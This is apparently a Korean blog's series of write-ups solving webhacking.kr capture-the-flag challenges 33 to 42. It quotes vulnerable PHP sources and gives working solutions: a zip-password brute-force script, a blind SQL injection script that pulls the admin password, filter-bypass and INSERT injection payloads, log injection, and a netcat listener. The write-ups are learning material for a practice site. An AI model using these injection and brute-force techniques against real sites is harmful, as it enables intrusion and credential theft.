늘모자란, 개발

늘모자란, 개발




간단한 테이블인데 범상치가 않다.

<html>
<head>
<title>Challenge 42</title>
</head>
<body>

<table border=1 align=center width=300>
<tr><td width=50>no</td><td>subject</td><td>file</td></tr>
<tr><td>2</td><td>test</td><td>test.txt [<a href=?down=dGVzdC50eHQ=>download</a>]</tr>
<tr><td>1</td><td>read me</td><td>test.zip [<a href=javascript:alert("Access%20Denied")>download</a>]</td></tr>
</table>

<!--

test.zip password is only numbers

-->

</body>
</html>



일단 test.zip은 누르면 무조건 Access Denied이다.
test.txt는 뭔 링크로 이동하게 되는데 끝에 =가 붙은게 심상찮다. base64 decode해보니 말짱히 decode가 된다. test.txt라고 한다.
그럼 test.zip을 base64로 encode한다음에 down 파라미터에 넣어보자

받아진다.
모두 예상했다싶이 zip파일이고 안에는 readme.txt가 들어가있다. 문제는 여기 비번이 걸려있다.........



zip파일 비밀번호 푸는게 webhack? 인가 싶은데.. 일단은.. 주석보니 숫자로만 되있다는 희망적인(?) 말도 있고 풀어봐야겠다...
구글에 crack zip이라고만 쳐도 아주 쏟아지게 나오지만, setup을 해야되길래 그냥 리눅스에서 해보기로 한다.

Archive:  test.zip
[test.zip] readme.txt password:
   skipping: readme.txt              incorrect password


unzip하니까 이녀석이 이렇게 나온다.
근데 왠지 python으로 할 수 있을 것 같았다. 역시, 쉬웠다.

   from zipfile import ZipFile
  
   for i in range(1,10000):
       try:
           with ZipFile('test.zip') as zf:
               zf.extractall(pwd='{}'.format(i))
           print i
       except:
           pass


근데 unzip은 되는데 readme.txt가 말짱하게 안나왔다 ㅋㅋ 결국 얻은 값을 윈도우에서 압축해제해서 확인했다.
URL이 하나 적혀있고, 거기 password가 적혀있다. Auth하면 인증끝!

파일 비번도 어렵게 설정하고, 다운을 못하게 하는 파일이면 제대로 검사하도록 하자

2016/04/02 08:12 2016/04/02 08:12
input type='file' 폼이 하나 있다. 머릿속으로 그려보자.

index.phps가 있으니 이녀석을 보고 ..

 <html>
<head>
<title>Challenge 41</title>
</head>
<body>

<?
$hidden_dir="???";

$pw="???";

if($_FILES[up])
{
$fn=$_FILES[up][name];
$fn=str_replace(".","",$fn);
if(eregi("/",$fn)) exit("no");
if(eregi("\.",$fn)) exit("no");
if(eregi("htaccess",$fn)) exit("no");
if(eregi(".htaccess",$fn)) exit("no");
if(strlen($fn)>10) exit("no");
$fn=str_replace("<","",$fn);
$fn=str_replace(">","",$fn);
$cp=$_FILES[up][tmp_name];

copy($cp,"$hidden_dir/$fn");

$f=@fopen("$hidden_dir/$fn","w");
@fwrite($f,"$pw");
@fclose($f);

echo("Done~");

}


?>

<form method=post action=index.php enctype="multipart/form-data">
<input type=file name=up><input type=submit value='upload'>
</form>
</body>
</html>



받은 이름중에서 . 랑 < , > 때고,
/ 안됨, \. 안됨
htaccess안됨, .htaccess 안됨
글자길이는 10자미만. 근데 아예 안적고 보내도 안되는것 같고.

역경을 모두 패스하면 저장되는것 같다.
요점은 hidden_dir인 것 같은데 얘를 어떻게 해야하나.
필터된 단어를 꾸역꾸역 넣어보자.
.를 넣어보니 no, 완전 공백으로 넣어도 no

< 를 넣어봤는데 뭔가 반응이 다르다. 왜인가.
<와 >는 위에서 필터링되고 있는 녀석들을 다 거치고 내려오게 된다.
즉 PHP는 파일명에 아무것도 안넣게 되고 에러를 뿜게 된다.

<html>
<head>
<title>Challenge 41</title>
</head>
<body>
<b>Warning</b>:  copy(/) [<a href='function.copy'>function.copy</a>]


이렇게 히든 dir을 알게 되면, 아무거나 하나 멀쩡한거 올리고, 경로로 이동해 파일명을 친다.
그럼 패스워드가 적혀있고 이걸 Auth하면 패스!

2016/04/02 07:55 2016/04/02 07:55


500점이나 되는 고득점 찬스..
세개 전부 다 맞춰야 로그인이 되는 듯 보인다. 역시 admin으로 로그인하는게 goal일듯 싶다.
근데 대강 막 넣어봐도 Failure이라고만 뜨고 힌트가 없다.

no를 다르게 하고 id를 다르게 하고 pw를 다르게 해도 오류메세지가 전부 같았다. 으찌된 일이란말인가... 뭐 하라는것인지 감도 안잡혔다
일단 no에 간단한 구문을 넣어보았다.

1 or 1=1


Access Denied가 나왔다.

1 && 1=1

는 된다 헐ㅋ

이제 true와 false를 알아낼 방법이 생겼다. 아마도...
간단히 쿼리문을 생각해보면

select * from table where no=1&&1=1 and id=guest and pw=guest


뭐 이런 느낌일까?
blind sql injection이 되는지 확인하기 위해서 몇가지 테스트를 해보기로 한다.

no 1의 guest는 5자리의 아이디니까, length가 5가 나오면 성공이라 할 수 있겠다.

#!/usr/bin/env python
# -*- coding: utf8 -*-
  
import urllib, urllib2, re
  
sess = ""
 
headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for i in range(1,10):
    #for j in range(97,123):
    url = 'http://webhacking.kr/challenge/web/web-29/index.php?no=1%26%26length%28id%29%3D{}&id=guest&pw=guest'.format(i)
    req = urllib2.Request(url, '', headers)
    response = urllib2.urlopen(req).read()

    if ("Success" in response):
        print "!", i
 


5가 나온다. 된다. 여기서 한참헤맸는데..처음엔 주석으로 처리해서 넘으려고 #랑 --등 다해봤는데 안된다.

그리고 반전 아닌 반전이 잇는데
위 소스 고대로 하면 죽었다 깨어나도 2 row의 아이디를 알아낼 수가 없다. 왜냐면 admin에 매치가 되면, admin page가 따로 있기 때문이다! (빠밤)...



돌아오는 response를 확인안하면 절대 알 수가 없다 ㅡㅡ 당연히 Success일거라 생각했는데.. 어쨌뜬 Success가 아니라 admin으로 필터링하면 아이디가 admin인것을 알 수 있다.

이제 질의시간이 남았다

#!/usr/bin/env python
# -*- coding: utf8 -*-
  
import urllib, urllib2, re
  
sess = ""
 
headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for i in range(1,15):
    for j in range(92,123):
        url = 'http://webhacking.kr/challenge/web/web-29/index.php?no=2%7C%7Csubstr%28pw%2C{}%2C1%29%3D{}&id=guest&pw=guest'.format(i,hex(j))
        req = urllib2.Request(url, '', headers)
        response = urllib2.urlopen(req).read()
        #print response

        if ("admin" in response):
            pw = pw + chr(j)
print pw


비밀번호 length까지 알아내면 좋겠지만 그건 귀찮으니 넘어가고. 이대로 돌리면 글자가 한개가 안나오는데 ㅡㅡ
이건 guest의 비밀번호와 같아서 생기는 문제라고 한다. 어떻게 처리하면 되긴하겠지만.. 그냥 관대하게 넘어가도록 하자.


2016/04/02 07:42 2016/04/02 07:42


묻따말 바로 index.phps를 보자.

 <html>
<head>
<title>Chellenge 39</title>
</head>
<body>

<?

$pw="????";

if($_POST[id])
{
$_POST[id]=str_replace("\\","",$_POST[id]);
$_POST[id]=str_replace("'","''",$_POST[id]);
$_POST[id]=substr($_POST[id],0,15);
$q=mysql_fetch_array(mysql_query("select 'good' from zmail_member where id='$_POST[id]"));

if($q[0]=="good") @solve();

}

?>

<form method=post action=index.php>
<input type=text name=id maxlength=15 size=30>
<input type=submit>
</form>
</body>
</html>



$_POST 값으로 넘겨줘야 하는데
\는 아예 쓰지도 못하게 해놨고, '는 ''로 치환하고 있다. 그리고 최대 15자리까지밖에 못쓰는것 같다.
풀고나서 한말이지만 문제가 진짜 조온나 불친절하다. 어쨌든 select해야되는 id의 값은 괘념치 않아도 되는것 같다.

처음엔 CHAR같은걸 넣어야 하나 생각을 했는데 애초에 필터링을 회피하기 위한 문제라서 그런건 아니고,
취약점 방어를 위해 자르는걸 역이용하는것이다.

요런것이다.
admin         '


입력값이 이렇게 생겨먹으면 필터링을 거친 후엔 이렇게 된다.

admin         ''


다만 안타깝게도 필터링은 15자리에서 정확히 끊어준다.
고로 원문과 동일하게 쿼리를 날릴 수 있게 된다. 처음엔 '''''''''''''''''''''''''''''''''''''''' 막 이렇게 해봤는데 어리석었다... 생각좀하자 ㅠㅠ
2016/04/02 06:18 2016/04/02 06:18

100점짜리 문제.. 이름도 보너스란다.
패스워드도 없다. admin.php를 보라고 되어 있으니 얼른 보자면

<html>
<head>
<title>log viewer</title>
</head>
<body>
<!--

hint : admin

-->
log<br><br><br></body>
</html>


admin을 넣어봤는데 당연히 안되고, 1,2를 넣어봤더니

아이피:아이디 식으로 기록되었다.
raw로 바로 admin을 보내봤으나 필터링되었다. 그래서 혹시 하는 마음에

아이피:admin을 적고 보내봤더니... 바로 클리어 되었다. ㅡㅡ

100점짜리 문제라 별 생각없이 넘어갈 수도 있겠는데 저대로 보내는게 아니라 의도한 정답은 여기인것 같다.
요컨데 개행등을 넣어서 임의의 로그를 삽입해 속일 수 있다는것이 문제의 핵심인듯 보인다
2016/04/02 06:06 2016/04/02 06:06


내 생각엔 숫자들은 timestamp인것 같고, . 랑 ..가 붙은걸 보니 디렉토리를 나타내는것 같아보이는데..
주석에 index.phps가 있으므로 한번 보자.

 <html>
<head>
<title>Challenge 37</title>
</head>
<body>
<!-- index.phps -->
<?

$pw="???";

$time=time();


$f=fopen("tmp/tmp-$time","w");
fwrite($f,"127.0.0.1");
fclose($f);


$fck=@file("tmp/.number");

if($fck) $fck=$fck[0];
if(!$fck) $fck=0;

$fck++;

$f2=fopen("tmp/.number","w");
fwrite($f2,$fck);
fclose($f2);

$file_nm=$HTTP_POST_FILES[upfile][name];
$file_nm=str_replace("<","",$file_nm);
$file_nm=str_replace(">","",$file_nm);
$file_nm=str_replace(".","",$file_nm);
$file_nm=str_replace(" ","",$file_nm);

if($file_nm)
{
$f=@fopen("tmp/$file_nm","w");
@fwrite($f,$_SERVER[REMOTE_ADDR]);
@fclose($f);
}




echo("<pre>");

$kk=scandir("tmp");

for($i=0;$i<=count($kk);$i++)
{
echo("$kk[$i]\n");
}

echo("</pre>");





$ck=file("tmp/tmp-$time");
$ck=$ck[0];

$request="GET /$pw HTTP/1.0\r\n";
$request.="Host: $ck\r\n";
$request.="\r\n";

$socket=@fsockopen($ck,7777,$errstr,$errno,1);

@fputs($socket,$request);

@fclose($socket);

echo("$ck:7777<br>");

if($fck>=30)
{
$kk=scandir("tmp");

for($i=0;$i<=count($kk);$i++)
{
@unlink("tmp/$kk[$i]");
}

}

?>

<form method=post enctype="multipart/form-data" action=index.php>
<input type=file name=upfile><input type=submit>
</form>




</body>
</html>




소스가 여태봤던것중에 젤 길다.
간단히 요약하면, tmp파일마다 아이피가 적혀있는데 (127.0.0.1)
만약 파일을 수신하게 되면 127.0.0.1 이 아닌 파일에 있는 아이피를 기록하게 된다.

tmp파일은 유닉스타임스탬프가 붙여서 계속 만들어진다.
이건 전 문제에 포트포워딩하는거랑 똑같기 때문에 다음과 같이 만들고 파일을 업로드하고 기다렸다. 근데 아무리해도 안된다.

nc -nvl -p 7777


잘 읽어보니 파일에 내가 뭘 쓰던 상관이 없다.
REMOTE_ADDR을 기록하기 때문에 내 호스트 아이피가 무조건 기록되고 접속하게 된다. 근데 나는 학교라서 포트포워딩을 할 수 가 없다. 일반적으로 다 막혀있기 때문에 또 내 개인서버로 통하게 해야했다... 결국 스크립트를 짠담에 서버에서 따로 돌려줘야했다.

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Content-Type': 'multipart/form-data; boundary=---------------------------21469235120676',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
while(1):
        url = 'http://webhacking.kr/challenge/web/web-18/index.php'
        data = """
-----------------------------21469235120676
Content-Disposition: form-data; name="upfile"; filename="tmp-1459543023"
Content-Type: application/octet-stream


-----------------------------21469235120676--
"""
        req = urllib2.Request(url, data, headers)
        response = urllib2.urlopen(req).read()


무한루프기땜에 적당히 돌리다 멈추면된다.
어쨌든 REMOTE_ADDR이다. 아이피 못바꾼다!

서버에서 위 스크립트를 돌리면 바로 패스워드가 들어온다.

근데 패스워드역시 서버 아이피 기준으로 따라가는것인지 내 호스트에서는 인증이 안된다.
결국 auth도 서버에서 따로 만들어서 보내주면된다.

요문제는 결국 콘솔에서 클리어..

python gogo.py
<script>alert('challenge 37 clear!!');location.href='?mode=challenge';</script>


2016/04/02 05:54 2016/04/02 05:54
들어가면

vi
blackout

이라는 글자가 반겨준다.
blackout은 술먹고밖에 경험 못한 ... 아니다.
어쨌든 vi편집중에 blackout이 됐을 경우에 대한 얘긴가보다.

사실 이것도 충분히 취약점이 될 수 있다. 강제로 꺼버리면 임시 파일이 남기 때문이다. 그냥 넘어가긴 아까우니까 임시로 파일을 하나 만들어보자

126 Apr  1 15:14 webhack.js
12288 Apr  1 17:39 .webhack.js.swp


webhack.js파일을 열고 다른 쉘에서 봤을때 숨김파일로 .webhack.js.swp 가 생긴다. 이는 임시저장이라고 생각하면 편할 듯 하다.
실 서버에서 vi로 편집하다가 정상종료하지 않으면 요 파일이 고대로 남게 된다.

다시 본론으로 돌아와서, index.php 를 편집하다가 blackout되었다면,
.index.php.swp 라는 파일이 생성되었을것이다. 요걸 입력하면..

good! <? $password=md5("$_SERVER[REMOTE_ADDR] dlseprtmvpdlwlfmfquswhgkwkglgl"); ?>


이친구가 반겨준다.
md5를 풀고 입력하면 문제 끝.
2016/04/01 17:43 2016/04/01 17:43


뭐 추가를 해야된다는데 이상하다. index.phps가 있어서 쟤를 봐야겠지만, 아무래도 수상한게 있어서 안짚고 넘어갈수가 없다

<html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11 style=width:100%><input type=submit value='add'>
</form>
<!----><br><a href=index.phps>index.phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=HellSonic>HellSonic</a></center>
<br><br><br>
</body>
</html>


뜬금없이 빈 주석이 있다. 빈 주석... 저기 아마 뭐가 채워질것 같다. 염두에 두고 index.phps를 보자

<html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11><input type=submit value='add'>
</form>
<?
if($_GET[phone])
{
if(eregi("%|\*|/|=|from|select|x|-|#|\(\(",$_GET[phone])) exit("no hack");

@mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");
echo("Done<br>");
}

$admin_ck=mysql_fetch_array(mysql_query("select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'"));

if($admin_ck[ip]==$_SERVER[REMOTE_ADDR])
{
@solve();
@mysql_query("delete from challenge35_list");
}
$phone_list=@mysql_query("select * from challenge35_list where ip='$_SERVER[REMOTE_ADDR]'");

echo("<!--");

while($d=@mysql_fetch_array($phone_list))
{
echo("$d[id] - $d[phone]\n");
}

echo("-->");

?>
<br><a href=index.phps>index.phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=HellSonic>HellSonic</a></center>
<br><br><br>
</body>
</html>


우선 $_GET['phone'] 이 인자이고, select 와 from은 사용할 수 없다. 또, =를 사용할 수 없으니 매치도 안될 것 같다.
쭉 읽다보면 admin_ck[ip]에 우리의 아이피를 끼워넣어야 성공할 것 같다.
대강 견적을 보면 multi insert를 이용해 하나 더 넣는식으로 하면 될 것 같지만 일단 해봐야알겠다

쿼리는 이런식으로 만들면 된다. 따로 걸리는건 없는데 이대로 넣으면 쿼리에러가 난다.

2), ('admin','IP',123)


그럼 어떻게 해야할까? '가 제거되고 있기때문이라고 생각해보자.
'를 안쓰고 넣으려면? CHAR를 사용하면 된다.

123), (CHAR(97,100,109,105,110),CHAR(),2


DB가 쓸데없이 똑똑해서 잘 입력해준다..
insert하면 별다른 문제 없이 done이 뜬다. 같은 유형이 많이 나와서 문제 푸는 속도가 짧아져가는것 같다.
2016/04/01 17:36 2016/04/01 17:36


34번에 들어오면 정겨운 메세지가 반겨준다. 뭘 잘못했다는지..

소스를 보면 아주 가관인 소스들이 반겨준다

<script>l1l=document.all;var naa=true;ll1=document.layers;lll=window.sidebar;naa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')|lI1('per');naa|=lII;O0O0=new Array();O0O0[0]='<script>l1l=document.all;var naa=true;~1~~\r~~~layers~%~=win~w.sideb~;~~(!(~l&&~&)~J~F!~H~N~&~R~))~%1~\'~vigator.us~0Ag~+.~`Low~0Ca~e(~Wfunction lI1~G1I){retur~|~1.~7~>xOf}}>0?~!~#:f~~e}~%II=~~}za\'kht\')|}$(\'p~0}*~B~|}#}!;O00O=new Arr~.~s}8}:O[0]=\'<script>}Wf(do}Sumen}[.URL}r}_}p}e}nxO~    \\\'\'}8O}9}M~u||    };}MuYYvGUsPrTgKgtmIoOvIPKXjBJLVpjRT|\r|+}M~w~y~{ __\'+\'|9(|:|<}9}|\r};0}M%76%61|H2%20l%3|O3D\\167i|KEd|Y57w|PEo}0|Y6|O|L|TF|T|M3A|T0|TB|K6u|a|J63~y|a7|^|P|R|T3|P8|KC|T4|P9|H|v6{    35|TD|P|n7A|Y4|M2Fg|u{|T|J|W|Y2|}|N|K9n{2Efro|K{4{68~|Y0{5F|`14{2{3|t2{\r3B|a{3{JD|S{K|e|i2{5|i0{I{1ce{{I|T{@C{N|J{E|u|i|{1r{{N{za{$156{S|i{za|Q%{|N}Dy{{|P{`|T{B{5';O00O='fu';OO0O='OWkhHnBHDQcdCEOiTtMpvSOQsnnl';O00O+='nction __'+'__(_'+'O0){';O0OO='\166%61r%20l%32%3Dwi\156dow%2E\157p%65%72\141%3F%31%3A%30%3B%66unct\151%6F\156%20l%33%28l%34%29%7Bl%35%3D%2Fza%2Fg%3B\154%36%3DS%74r\151\156g%2Ef\162omChar%43%6Fd%65%28%30%29%3B%6C%34%3D\154%34%2E%72\145p%6C%61\143e%28l%35%2C%6C%36%29%3B\166\141%72%20l%37%3D\156\145%77%20Array%28%29%2C%6C%38%3D%5F%31%3Dl%34%2E\154ength%2Cl%39%2C%6C\111%2C%69l%3D%31%36%32%35%36%2C%5F%31%3D%30%2C%49%3D%30%2Cl\151%3D%27%27%3Bdo%7Bl%39%3D\154%34%2E%63%68a\162%43o%64\145%41\164%28%5F%31%29%3B\154\111%3Dl%34%2E%63\150a%72C\157\144%65\101\164%28%2B%2B%5F%31%29%3B%6C%37%5B\111%2B%2B%5D%3D\154\111%2B\151\154%2D%28\154%39%3C%3C%37%29%7Dw\150ile%28%5F%31%2B%2B%3Cl%38%29%3Bv\141r%20\154%31%3D%6E\145\167';O0O0[0]+='|n3|p{M{\n{P{m{65n{7|i4h{{{!3{\r2C{]4z{    69{N{z{"|T|V{3{b{    zza|o{|s{{Iz){Cz{|az|P{r{kB~{{N{F|Xzz{-|K3|a|t|l7{R1{:o{4{pzF|M7{{A%z\'z{c{G{Iz,{l5{JzOEz?z|LrCo{={?{91z{y2|vzizQz{{FB{jzQBz,zkzk5z{MztBi{]2{zP{|T{F{{{r{\r7Dwh|]yz    {yzR{zj|v3{|3{zT{H|Z{f{h|Q{Nz}>|H7|D};}J]|3}N0lDzy)}lB}_2|}N)!=-1y8{y*~a}q}X}g}p}sh}U}m}`y;y6PyG}QyWw|1}9y\'e~y[}<\'FZcXBu~dy~xRnnGtwnQpYWDoMCqHSyxjkPYy[0y\'l(~ves\'    xx    |<ca}0|?|B)}|y^~xx(|    |B}G}:}MVbOolLdFvrFXhHrDOXxBeCIQFh}CqvW}x mqtkNOVEjx}M|Dy\\|G|Q|rzD{(zCzyz{]z.|Wz{>5|dxS}C{X|HxX{zz{tzz-|p|V{Bz6|{z|t5zs{!zwz)5{zN|N~7|K{r{.{0{2{t3h{X{h{4|K{<{[{AI|S{cyy!|K8il{Szhzz;~Yz}zo|Y~Yzzxl{}{dz<zxtz*xw|Ww{mz{Nxs{yzrw\'{zw/x[z;zY|T{zaw&z.w(|vzzazz({G~yzBz&zw7{Jx{e|zztzz~wAy|[wz1wKyFx[zz<z\'wBsy!itcw{zqw&w?zQzx:{Nzm|T|rz.w^wd|L|i{5{@|twqwx{w$w.xi{]w({yw<w5w\\zw>{\'';O00O+='eva';OOOO='bZbJgXimpgJiRythFtjyLqqcUrROoOnOcGro';O00O+='l(unes'                            +'cape(_O0))}';eval                                    (O00O);OO00='kwQajkuWQqsOeyJwaOOOOPWOqVUfOOUpWyvcVmbXgrOOR';O00O='';O0OO+='%20\101\162r\141%79%28%29%2Cl%30%3D%6E%65w%20%41%72ra%79%28%29%2C\111%6C%3D%31%32%38%3B%64\157%7B%6C%30%5B%49\154%5D%3D%53%74rin%67%2Ef\162o%6D\103\150%61rCo\144\145%28\111\154%29%7Dw\150%69le%28%2D%2D\111l%29%3BIl%3D%31%32%38%3B\154%31%5B%30%5D%3Dli%3Dl%30%5B\154%37%5B%30%5D%5D%3B%6Cl%3D\154%37%5B%30%5D%3B%5Fl%3D%31%3B%76a%72%20%6C%5F%3D\154%37%2Elength%2D%31%3B%77\150i%6Ce%28%5Fl%3Cl%5F%29%7B%73%77%69\164%63%68%28\154%37%5B%5Fl%5D%3CIl%3F%31%3A%30%29%7Bc%61%73e%20%30%20%3A\154%30%5BIl%5D%3Dl%30%5Bll%5D%2B%53\164r%69n\147%28%6C%30%5Bl%6C%5D%29%2Esu%62\163t\162%28%30%2C%31%29%3B\154%31%5B%5Fl%5D%3Dl%30%5B\111\154%5D%3Bif%28%6C%32%29%7Bl%69%2B%3D\154%30%5B\111l%5D%7D%3B\142%72\145\141';OOO0='l';O0O0[0]+='zD~7{,8x[w.{]yxw{c{-wuubwu~!{ywq{zn|uyw1wivzaw-zrz,vw4z1f{\\w$|Ow^{Ww+|PywHw\'zs|Sxww{G|KzE|jea|1x#\'ly#}I}Ky\'y)}w}w}e}e}s}ZyYyY|;}yPy+}R}nyCyHy+}n}V}\\}cvNW}U~6g~)~N}O/~~~}]xPx}Mk{ 6z{66a|Hvzw[vxwoz|Mwh|nv%{v"xtwgw>Fv4w3vw9v({Ax[v+yw/|]zk|Wxrw1vw:uwuv6w/v2v$z&zxu    zpuv/zQ|}rwV6Evv\ruw0uu*vzEwu|i{T{>2svzPvz(yv|Z|k5v}6|vu"wzfz<zuyu#vz3uzlu { wiuQ|Hw4{){{byuOw8|U{z7uL2{[zNu<|N|zwfuDu:{m2zHv.u0zhz4xgyD{[{~e{{Q}v~|Nn{{|]wuMyv}xU{sy4wGz3tzU{>|{{v+w|]ux\\{9wVy{tzwx|tt|el~zzzAuuyufzpw{rv0z{zPt$x\\};zru/{\ru8u]|uz|t{~Ct.|KzJ{m7cu<|au={?~|ew{QwVzNw8lOufw4y#0 t[t\\}MlJ~7Eyg|||||||||!|#|%|\'|)|+|-|/wycyeygyiykymyoyqysyuW||9|9t\\ x|E~W|vt\'gMbLfyNyvpLHa|    sjDE|    hImUePWluiSxIMSw_CcHpJNQHcJkZUIOUKZeRRDmSkxPtOwx4SPJOZsRmsoCGWnoBLGfwSiFxlVOsdTMTuKsOObYtMElXOqswkwUdVGdE~pMOQUq|</~~~>';O0OO+='\153%3Bd\145%66a\165lt%3A%6C%31%5B%5Fl%5D%3Dl%30%5B\154%37%5B%5F%6C%5D%5D%3B\151f%28\154%32%29%7Bl%69%2B%3D%6C%30%5Bl%37%5B%5Fl%5D%5D%7D%3B\154%30%5BIl%5D%3D\154%30%5B\154%6C%5D%2B\123%74ri\156\147%28\154%30%5B%6C%37%5B%5F\154%5D%5D%29%2Es%75%62\163tr%28%30%2C%31%29%3Bb\162\145%61k%7D%3BI\154%2B%2B%3Bll%3Dl%37%5B%5Fl%5D%3B%5F%6C%2B%2B%7D%3Bi\146%28%21l%32%29%7Br\145%74%75\162n%28l%31%2Ej%6Fin%28%27%27%29%29%7D%65%6Cs\145%7B\162et%75\162n%20li%7D%7D%3Bva%72%20l\117%3D%27%27%3B%66\157r%28\151%69%3D%30%3Bii%3C\117%30\117%30%2El\145\156%67\164\150%3B%69\151%2B%2B%29%7B%6C\117%2B%3D%6C%33%28O%30\117%30%5B\151%69%5D%29%7D%3Bi%66%28\156a\141%29%7Bd%6Fc\165%6De%6Et%2E\167ri\164e%28\154O%29%7D%3B';OO00      ='RoxNlIkMOmOOWkhHnBHDQcdCEOiTtMpvSOQsnnlrbZbJgXimpgJiRythFtjyLqq';____    (O0OO);OOO0+='iDyZqTZVcfvUWakfMOsPeOSvGHFKsltOjiCGJyOldSwBXwDSOtKufLdbImGpuYuIBVSlKfOYexPgYdEwOaLbhqeOYZXOvEMnDCTXORmFveQTjPUdaNOxxOgtZpYsNjOOThVnOho';</script>


난독화랍시고 이렇게 해놔도 되는걸까?
뭐 .. 너무 쉽게 푼 감이 있고 블로그에 글을 적으면서 툴소개 비슷하게 되버리는것 같다만
나는 난독화를 풀려고 Firefox 애드온중 Javascript deobfuscator 를 사용하였다.

일전에도 사용한적이 있는데..
이건 너무 뜬금없게 다나오니 할말이 없다. 어쨌든 이 툴을 쓰면 아주 간단히 ... (보이는게 다가 아닐정도로 간단하다)
해결된다...


2016/04/01 16:46 2016/04/01 16:46


이제 다짜고짜 틀렸다고 하는건 놀랍지도 않다. index.phps를 보자.

<hr>
Challenge 33-1<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

if($_GET[get]=="hehe")
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>


사실 뭘 위한 문젠지 진짜 모르겠는데..
$_SERVER의 PHP_SELF는 자기 자신을 가리키는 것이다.

저대로 출력하면 이런 모양이 나온다.

<script>document.write("<a href=http://webhacking.kr/challenge/bonus/bonus-6/index.phps>/challenge/bonus/bonus-6/index.phps</a>");</script>


좀 보기에도 이상하긴한데... 문제가 나타나는건 get인자로 hehe를 받으면 된다고 한다.
그러면 그냥.. 현재 경로에 ?get=hehe 를 적어주면 Next로 넘어갈 수 있다. 이러면 클리어인줄 알았는데, next를 누르니 다음 문제가 나왔다.
진짜 놀랠뻔했다. 이렇게 끝나면 안되는게 맞지 암

<hr>
Challenge 33-2<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

if($_POST[post]=="hehe" && $_POST[post2]=="hehe2")
{
echo("<a href=##>Next</a>");
}
else
{
echo("Wrong");
}
?>


옳거니 이 문제는 get 과 post를 단디 알고 있나 보려고 낸 문제인가보다.

POST값은 브라우저로 보내기 참 거시기하므로 디버거 도구를 사용하기로 한다.

대강 이런 모양이다.

POST http://webhacking.kr/challenge/bonus/bonus-6/lv2.php HTTP/1.1
Host: webhacking.kr
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID={}; kk=1

post=hehe&post2=hehe2


그러면 주소가 또 하나 뜬다. 또 index.phps를 봐야한다.

<hr>
Challenge 33-3<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

if($_GET[myip]==$_SERVER[REMOTE_ADDR])
{
echo("<a href=##.php>Next</a>");
}
else
{
echo("Wrong");
}
?>



내 아이피를 myip에 넣어서 적어주면 될 것 같다.
근데 그럼 또 나온다.

<hr>
Challenge 33-4<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

if($_GET[password]==md5(time()))
{
echo("<a href=###>Next</a>");
}
else
{
echo("hint : ".time());
}
?>



타임스탬프를 찍어주는데 여기서 잠깐 멈칫했다.
time은 계속 변하는데 어떻게 맞추나. 근데 잘생각해보면 그냥 몇십초 땡겨서 새로고침 하고 있으면 되는거였다. 허무...

md5(time()+10) 을 해줘서 얻은값으로 새로고침하고 있으면 또 Next가 나온다.

<hr>
Challenge 33-5<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

if($_GET[imget] && $_POST[impost] && $_COOKIE[imcookie])
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>


POST, GET, COOKIE다 있어야 통과 시켜준다고 한다

POST http://webhacking.kr/challenge/bonus/bonus-6/md555.php?imget=1 HTTP/1.1
Host: webhacking.kr
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID={}; kk=1;imcookie=hi

impost=1


요렇게 하면 3종을 한방에 넘길 수 있다. 또 Next...

<hr>
Challenge 33-6<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

if($_COOKIE[test]==md5("$_SERVER[REMOTE_ADDR]") && $_POST[kk]==md5("$_SERVER[HTTP_USER_AGENT]"))
{
echo("<a href=###>Next</a>");
}
else
{
echo("hint : $_SERVER[HTTP_USER_AGENT]");
}
?>



cookie의 test값에 나의 아이피를 md5,
post값으로 md5화한 나의 http user agent를 실어 보내면 된다.

이제 끝날때좀 됐다고 생각하지만 안끝났다. 아직있다

<hr>
Challenge 33-7<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?
$_SERVER[REMOTE_ADDR]=str_replace(".","",$_SERVER[REMOTE_ADDR]);

if($_GET[$_SERVER[REMOTE_ADDR]]==$_SERVER[REMOTE_ADDR])
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong<br>".$_GET[$_SERVER[REMOTE_ADDR]]);
}
?>



아이피에서 .을 빼고 변수에 넣는데 얘를 변수명으로 쓰고 싶은 모양이다.
